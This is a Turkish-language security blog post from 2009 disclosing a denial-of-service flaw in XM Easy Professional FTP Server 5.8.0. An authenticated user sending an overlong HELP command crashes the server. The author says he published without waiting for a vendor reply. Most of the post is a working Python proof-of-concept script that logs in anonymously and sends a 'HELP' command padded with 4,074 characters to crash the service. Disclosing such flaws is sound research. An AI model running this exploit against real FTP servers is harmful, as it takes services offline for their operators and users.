XM Easy Professional FTP Server 5.8.0 Denial Of Service Vulnerability

written by Mert SARICA | 30 Kasım, 2009

Zafiyetten kısaca bahsetmek gerekirse ftp sunucusuna başarıyla giriş yapıldıktan sonra "HELP AAA… (4074 tane)" komutunun gönderilmesi sonucunda ftp sunucusu çökmektedir. Bu zafiyeti istismar edebilmek için ftp sunucusu üzerinde geçerli bir hesabınızın olması gerekmektedir.

Not: Bu sürümde başka güvenlik açıklarınında olmasına rağmen Ekim ayından bu yana dek sürümde herhangi bir değişikliğin olmaması nedeniyle üretici firmanın aksiyon alma süresinin geç olduğunu göz önünde bulundurarak yanıt beklemeden yayınlamayı tercih ettim.

Download: XM Easy Professional FTP Server 5.8.0

POC Code:

```
# XM Easy Professional FTP Server 5.8.0
# Denial of Service Vulnerability
# Note: FTP account is required for exploitation
# http://www.mertsarica.com

from ftplib import *
import sys
import ftplib

try:
ftp = FTP('localhost') # connect to host, default port
except:
print "Connection error"
sys.exit(1)

try:
ftp.login() # user anonymous, passwd anonymous@
except:
print "Login failed"
sys.exit(1)

packet = "HELP " + "MS" * 2037 # magic packet

try:
ftp.sendcmd(packet)
ftp.quit()
except ftplib.all_errors, error:
print("Very good, young padawan, but you still have much to learn...")
```

POC Screen Shot: